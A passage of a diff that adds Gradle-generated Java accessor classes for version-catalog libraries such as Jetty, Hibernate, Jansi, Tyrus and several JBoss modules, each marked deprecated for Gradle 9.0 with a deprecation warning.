org.codehaus.groovy.groovy + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getGroovy() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.codehaus.groovy.groovy"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgEclipseLibraryAccessors extends SubDependencyFactory { + private final OrgEclipseJettyLibraryAccessors laccForOrgEclipseJettyLibraryAccessors = new OrgEclipseJettyLibraryAccessors(owner); + + public OrgEclipseLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.eclipse.jetty + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgEclipseJettyLibraryAccessors getJetty() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgEclipseJettyLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgEclipseJettyLibraryAccessors extends SubDependencyFactory { + private final OrgEclipseJettyJettyLibraryAccessors laccForOrgEclipseJettyJettyLibraryAccessors = new OrgEclipseJettyJettyLibraryAccessors(owner); + + public OrgEclipseJettyLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.eclipse.jetty.jetty + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgEclipseJettyJettyLibraryAccessors getJetty() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgEclipseJettyJettyLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgEclipseJettyJettyLibraryAccessors extends SubDependencyFactory { + + public OrgEclipseJettyJettyLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for ant with org.eclipse.jetty:jetty-ant coordinates and + * with version reference org.eclipse.jetty.jetty.ant + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getAnt() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.eclipse.jetty.jetty.ant"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgFusesourceLibraryAccessors extends SubDependencyFactory { + private final OrgFusesourceJansiLibraryAccessors laccForOrgFusesourceJansiLibraryAccessors = new OrgFusesourceJansiLibraryAccessors(owner); + + public OrgFusesourceLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.fusesource.jansi + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgFusesourceJansiLibraryAccessors getJansi() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgFusesourceJansiLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgFusesourceJansiLibraryAccessors extends SubDependencyFactory { + + public OrgFusesourceJansiLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for jansi with org.fusesource.jansi:jansi coordinates and + * with version reference org.fusesource.jansi.jansi + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getJansi() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.fusesource.jansi.jansi"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgGlassfishLibraryAccessors extends SubDependencyFactory { + private final OrgGlassfishTyrusLibraryAccessors laccForOrgGlassfishTyrusLibraryAccessors = new OrgGlassfishTyrusLibraryAccessors(owner); + + public OrgGlassfishLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.glassfish.tyrus + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgGlassfishTyrusLibraryAccessors getTyrus() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgGlassfishTyrusLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgGlassfishTyrusLibraryAccessors extends SubDependencyFactory { + private final OrgGlassfishTyrusTyrusLibraryAccessors laccForOrgGlassfishTyrusTyrusLibraryAccessors = new OrgGlassfishTyrusTyrusLibraryAccessors(owner); + + public OrgGlassfishTyrusLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.glassfish.tyrus.tyrus + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgGlassfishTyrusTyrusLibraryAccessors getTyrus() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgGlassfishTyrusTyrusLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgGlassfishTyrusTyrusLibraryAccessors extends SubDependencyFactory { + + public OrgGlassfishTyrusTyrusLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for server with org.glassfish.tyrus:tyrus-server coordinates and + * with version reference org.glassfish.tyrus.tyrus.server + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getServer() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.glassfish.tyrus.tyrus.server"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgHibernateLibraryAccessors extends SubDependencyFactory { + private final OrgHibernateHibernateLibraryAccessors laccForOrgHibernateHibernateLibraryAccessors = new OrgHibernateHibernateLibraryAccessors(owner); + + public OrgHibernateLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.hibernate.hibernate + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgHibernateHibernateLibraryAccessors getHibernate() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgHibernateHibernateLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgHibernateHibernateLibraryAccessors extends SubDependencyFactory { + + public OrgHibernateHibernateLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with org.hibernate:hibernate-core coordinates and + * with version reference org.hibernate.hibernate.core + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getCore() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.hibernate.hibernate.core"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJavassistLibraryAccessors extends SubDependencyFactory { + + public OrgJavassistLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for javassist with org.javassist:javassist coordinates and + * with version reference org.javassist.javassist + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getJavassist() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.javassist.javassist"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossLibraryAccessors extends SubDependencyFactory { + private final OrgJbossInterceptorLibraryAccessors laccForOrgJbossInterceptorLibraryAccessors = new OrgJbossInterceptorLibraryAccessors(owner); + private final OrgJbossRemotingLibraryAccessors laccForOrgJbossRemotingLibraryAccessors = new OrgJbossRemotingLibraryAccessors(owner); + private final OrgJbossRemotingjmxLibraryAccessors laccForOrgJbossRemotingjmxLibraryAccessors = new OrgJbossRemotingjmxLibraryAccessors(owner); + private final OrgJbossSpecLibraryAccessors laccForOrgJbossSpecLibraryAccessors = new OrgJbossSpecLibraryAccessors(owner); + private final OrgJbossWeldLibraryAccessors laccForOrgJbossWeldLibraryAccessors = new OrgJbossWeldLibraryAccessors(owner); + + public OrgJbossLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.interceptor + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossInterceptorLibraryAccessors getInterceptor() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossInterceptorLibraryAccessors; + } + + /** + * Group of libraries at org.jboss.remoting + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossRemotingLibraryAccessors getRemoting() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossRemotingLibraryAccessors; + } + + /** + * Group of libraries at org.jboss.remotingjmx + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossRemotingjmxLibraryAccessors getRemotingjmx() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossRemotingjmxLibraryAccessors; + } + + /** + * Group of libraries at org.jboss.spec + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossSpecLibraryAccessors getSpec() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossSpecLibraryAccessors; + } + + /** + * Group of libraries at org.jboss.weld + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossWeldLibraryAccessors getWeld() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossWeldLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossInterceptorLibraryAccessors extends SubDependencyFactory { + private final OrgJbossInterceptorJbossLibraryAccessors laccForOrgJbossInterceptorJbossLibraryAccessors = new OrgJbossInterceptorJbossLibraryAccessors(owner); + + public OrgJbossInterceptorLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.interceptor.jboss + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossInterceptorJbossLibraryAccessors getJboss() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossInterceptorJbossLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossInterceptorJbossLibraryAccessors extends SubDependencyFactory { + private final OrgJbossInterceptorJbossInterceptorLibraryAccessors laccForOrgJbossInterceptorJbossInterceptorLibraryAccessors = new OrgJbossInterceptorJbossInterceptorLibraryAccessors(owner); + + public OrgJbossInterceptorJbossLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.interceptor.jboss.interceptor + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossInterceptorJbossInterceptorLibraryAccessors getInterceptor() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossInterceptorJbossInterceptorLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossInterceptorJbossInterceptorLibraryAccessors extends SubDependencyFactory { + + public OrgJbossInterceptorJbossInterceptorLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with org.jboss.interceptor:jboss-interceptor-core coordinates and + * with version reference org.jboss.interceptor.jboss.interceptor.core + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getCore() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.jboss.interceptor.jboss.interceptor.core"); + } + + /** + * Dependency provider for spi with org.jboss.interceptor:jboss-interceptor-spi coordinates and + * with version reference org.jboss.interceptor.jboss.interceptor.spi + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getSpi() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.jboss.interceptor.jboss.interceptor.spi"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossRemotingLibraryAccessors extends SubDependencyFactory { + private final OrgJbossRemotingJbossLibraryAccessors laccForOrgJbossRemotingJbossLibraryAccessors = new OrgJbossRemotingJbossLibraryAccessors(owner); + + public OrgJbossRemotingLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.remoting.jboss + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossRemotingJbossLibraryAccessors getJboss() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossRemotingJbossLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossRemotingJbossLibraryAccessors extends SubDependencyFactory { + + public OrgJbossRemotingJbossLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for remoting with org.jboss.remoting:jboss-remoting coordinates and + * with version reference org.jboss.remoting.jboss.remoting + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getRemoting() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.jboss.remoting.jboss.remoting"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossRemotingjmxLibraryAccessors extends SubDependencyFactory { + private final OrgJbossRemotingjmxRemotingLibraryAccessors laccForOrgJbossRemotingjmxRemotingLibraryAccessors = new OrgJbossRemotingjmxRemotingLibraryAccessors(owner); + + public OrgJbossRemotingjmxLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.remotingjmx.remoting + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossRemotingjmxRemotingLibraryAccessors getRemoting() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossRemotingjmxRemotingLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossRemotingjmxRemotingLibraryAccessors extends SubDependencyFactory { + + public OrgJbossRemotingjmxRemotingLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for jmx with org.jboss.remotingjmx:remoting-jmx coordinates and + * with version reference org.jboss.remotingjmx.remoting.jmx + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getJmx() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("org.jboss.remotingjmx.remoting.jmx"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossSpecLibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxLibraryAccessors laccForOrgJbossSpecJavaxLibraryAccessors = new OrgJbossSpecJavaxLibraryAccessors(owner); + + public OrgJbossSpecLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossSpecJavaxLibraryAccessors getJavax() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossSpecJavaxLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossSpecJavaxLibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxSecurityLibraryAccessors laccForOrgJbossSpecJavaxSecurityLibraryAccessors = new OrgJbossSpecJavaxSecurityLibraryAccessors(owner); + + public OrgJbossSpecJavaxLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax.security + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossSpecJavaxSecurityLibraryAccessors getSecurity() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossSpecJavaxSecurityLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossSpecJavaxSecurityLibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxSecurityJaccLibraryAccessors laccForOrgJbossSpecJavaxSecurityJaccLibraryAccessors = new OrgJbossSpecJavaxSecurityJaccLibraryAccessors(owner); + + public OrgJbossSpecJavaxSecurityLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax.security.jacc + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossSpecJavaxSecurityJaccLibraryAccessors getJacc() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossSpecJavaxSecurityJaccLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossSpecJavaxSecurityJaccLibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors laccForOrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors = new OrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors(owner); + + public OrgJbossSpecJavaxSecurityJaccLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax.security.jacc.jboss + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors getJboss() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors laccForOrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors(owner); + + public OrgJbossSpecJavaxSecurityJaccJbossLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax.security.jacc.jboss.jacc + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors getJacc() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors laccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors(owner); + + public OrgJbossSpecJavaxSecurityJaccJbossJaccLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax.security.jacc.jboss.jacc.api + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors getApi() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors laccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors(owner); + + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1 + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors getV1() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors extends SubDependencyFactory { + private final OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors laccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors = new OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors(owner); + + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1LibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4 + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors getV4() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors extends SubDependencyFactory { + + public OrgJbossSpecJavaxSecurityJaccJbossJaccApiV1V4LibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for spec with org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec coordinates and + * with version reference org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec + *

